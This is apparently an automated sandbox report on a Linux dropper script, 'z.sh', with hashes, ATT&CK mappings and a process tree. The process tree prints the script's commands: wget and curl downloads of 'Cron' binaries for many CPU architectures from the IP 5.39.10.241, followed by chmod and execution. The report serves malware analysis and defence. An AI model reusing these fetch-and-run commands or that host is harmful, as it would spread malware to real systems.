009e0fca1415e84c1f302947cb77368e60ab7755a9aadfe2cfbccb3888df1bd6

Analysis

max time kernel
8s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/11/2026, 12:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
z.sh
Size 1KB
Sample261102-plq5haws5m
SHA256 009e0fca1415e84c1f302947cb77368e60ab7755a9aadfe2cfbccb3888df1bd6
MD5 78e8e69c4600256523540b944b9924a8
SHA1 9e061943bbb3dd5426685912f375d5c3670e3808
SHA512 2985d13f00a282d453e8583ba5728fd0413093d4506318db1574d108260d8178ec749d7663a46a55ce863ae27569e6236f8abe97eaaa1ba71437bfc3828269cd
TLSH
T19D418DCC137281B93CA6DD6F76A9899DB2D450CAACF92F05D4DC7CE8819CE0C1B90693
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
801	chmod
806	chmod
681	chmod
686	chmod
691	chmod
746	chmod
710	chmod
753	chmod
774	chmod
791	chmod
796	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/yk	682	z.sh
/tmp/yk	687	z.sh
/tmp/yk	692	z.sh
/tmp/yk	712	z.sh
/tmp/yk	747	z.sh
/tmp/yk	754	z.sh
/tmp/yk	776	z.sh
/tmp/yk	792	z.sh
/tmp/yk	797	z.sh
/tmp/yk	802	z.sh
/tmp/yk	807	z.sh

Checks CPU configuration 1 TTPs 11 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 22 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
683	wget
684	curl
685	cat

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Cronx86	curl
File opened for modification	/tmp/yk	z.sh
File opened for modification	/tmp/Cronmips	curl
File opened for modification	/tmp/Cronarm	curl
File opened for modification	/tmp/Cronarm5	curl
File opened for modification	/tmp/Cronppc	curl
File opened for modification	/tmp/Cronx86	curl
File opened for modification	/tmp/Cronmpsl	curl
File opened for modification	/tmp/Cronarm6	curl
File opened for modification	/tmp/Cronarm7	curl
File opened for modification	/tmp/Cronm68k	curl
File opened for modification	/tmp/Cronsh4	curl

/tmp/z.sh
/tmp/z.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:651
- /usr/bin/wget
  wget http://5.39.10.241/bins/Cronx86
  2⤵
  PID:656
- /usr/bin/curl
  curl -O http://5.39.10.241/bins/Cronx86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:676
- /bin/cat
  cat Cronx86
  2⤵
  PID:680
- /bin/chmod
  chmod +x Cronx86 systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-uLoO9q yk z.sh
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/yk
  ./yk ssh
  2⤵
  PID:682
- /usr/bin/wget
  wget http://5.39.10.241/bins/Cronmips
  2⤵
  - System Network Configuration Discovery
  PID:683
- /usr/bin/curl
  curl -O http://5.39.10.241/bins/Cronmips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:684
- /bin/cat
  cat Cronmips
  2⤵
  - System Network Configuration Discovery
  PID:685
- /bin/chmod
  chmod +x Cronmips Cronx86 systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-uLoO9q yk z.sh
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/yk
  ./yk ssh
  2⤵
  PID:687
- /usr/bin/wget
  wget http://5.39.10.241/bins/Cronmpsl
  2⤵
  PID:688
- /usr/bin/curl
  curl -O http://5.39.10.241/bins/Cronmpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:689
- /bin/cat
  cat Cronmpsl
  2⤵
  PID:690
- /bin/chmod
  chmod +x Cronmips Cronmpsl Cronx86 systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-uLoO9q yk z.sh
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/yk
  ./yk ssh
  2⤵
  PID:692
- /usr/bin/wget
  wget http://5.39.10.241/bins/Cronarm
  2⤵
  PID:693
- /usr/bin/curl
  curl -O http://5.39.10.241/bins/Cronarm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:700
- /bin/cat
  cat Cronarm
  2⤵
  PID:709
- /bin/chmod
  chmod +x Cronarm Cronmips Cronmpsl Cronx86 systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-uLoO9q yk z.sh
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /tmp/yk
  ./yk ssh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://5.39.10.241/bins/Cronarm5
  2⤵
  PID:714
- /usr/bin/curl
  curl -O http://5.39.10.241/bins/Cronarm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/cat
  cat Cronarm5
  2⤵
  PID:745
- /bin/chmod
  chmod +x Cronarm Cronarm5 Cronmips Cronmpsl Cronx86 systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-uLoO9q yk z.sh
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/yk
  ./yk ssh
  2⤵
  PID:747
- /usr/bin/wget
  wget http://5.39.10.241/bins/Cronarm6
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://5.39.10.241/bins/Cronarm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/cat
  cat Cronarm6
  2⤵
  PID:750
- /bin/chmod
  chmod +x Cronarm Cronarm5 Cronarm6 Cronmips Cronmpsl Cronx86 systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-uLoO9q yk z.sh
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/yk
  ./yk ssh
  2⤵
  PID:754
- /usr/bin/wget
  wget http://5.39.10.241/bins/Cronarm7
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://5.39.10.241/bins/Cronarm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/cat
  cat Cronarm7
  2⤵
  PID:773
- /bin/chmod
  chmod +x Cronarm Cronarm5 Cronarm6 Cronarm7 Cronmips Cronmpsl Cronx86 systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-uLoO9q yk z.sh
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/yk
  ./yk ssh
  2⤵
  PID:776
- /usr/bin/wget
  wget http://5.39.10.241/bins/Cronppc
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://5.39.10.241/bins/Cronppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786
- /bin/cat
  cat Cronppc
  2⤵
  PID:790
- /bin/chmod
  chmod +x Cronarm Cronarm5 Cronarm6 Cronarm7 Cronmips Cronmpsl Cronppc Cronx86 systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-uLoO9q yk z.sh
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/yk
  ./yk ssh
  2⤵
  PID:792
- /usr/bin/wget
  wget http://5.39.10.241/bins/Cronm68k
  2⤵
  PID:793
- /usr/bin/curl
  curl -O http://5.39.10.241/bins/Cronm68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/cat
  cat Cronm68k
  2⤵
  PID:795
- /bin/chmod
  chmod +x Cronarm Cronarm5 Cronarm6 Cronarm7 Cronm68k Cronmips Cronmpsl Cronppc Cronx86 systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-uLoO9q yk z.sh
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/yk
  ./yk ssh
  2⤵
  PID:797
- /usr/bin/wget
  wget http://5.39.10.241/bins/Cronsh4
  2⤵
  PID:798
- /usr/bin/curl
  curl -O http://5.39.10.241/bins/Cronsh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/cat
  cat Cronsh4
  2⤵
  PID:800
- /bin/chmod
  chmod +x Cronarm Cronarm5 Cronarm6 Cronarm7 Cronm68k Cronmips Cronmpsl Cronppc Cronsh4 Cronx86 systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-uLoO9q yk z.sh
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/yk
  ./yk ssh
  2⤵
  PID:802
- /usr/bin/wget
  wget http://5.39.10.241/bins/Cronx86
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://5.39.10.241/bins/Cronx86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/cat
  cat Cronx86
  2⤵
  PID:805
- /bin/chmod
  chmod +x Cronarm Cronarm5 Cronarm6 Cronarm7 Cronm68k Cronmips Cronmpsl Cronppc Cronsh4 Cronx86 systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-uLoO9q yk z.sh
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/yk
  ./yk ssh
  2⤵
  PID:807

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Cronx86

Path /tmp/Cronx86
Size 196B
SHA256 80c3fe2ae1062abf56456f52518bd670f9ec3917b7f85e152b347ac6b6faf880
MD5 62962daa1b19bbcc2db10b7bfd531ea6
SHA1 d64bae91091eda6a7532ebec06aa70893b79e1f8
SHA512 9002a0475fdb38541e78048709006926655c726e93e823b84e2dbf5b53fd539a5342e7266447d23db0e5528e27a19961b115b180c94f2272ff124c7e5c8304e7
TLSH
T1C0D0129E9183638B442225907AC211D2654D13A6B87645E82D82A48A951857DC5CA69D
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads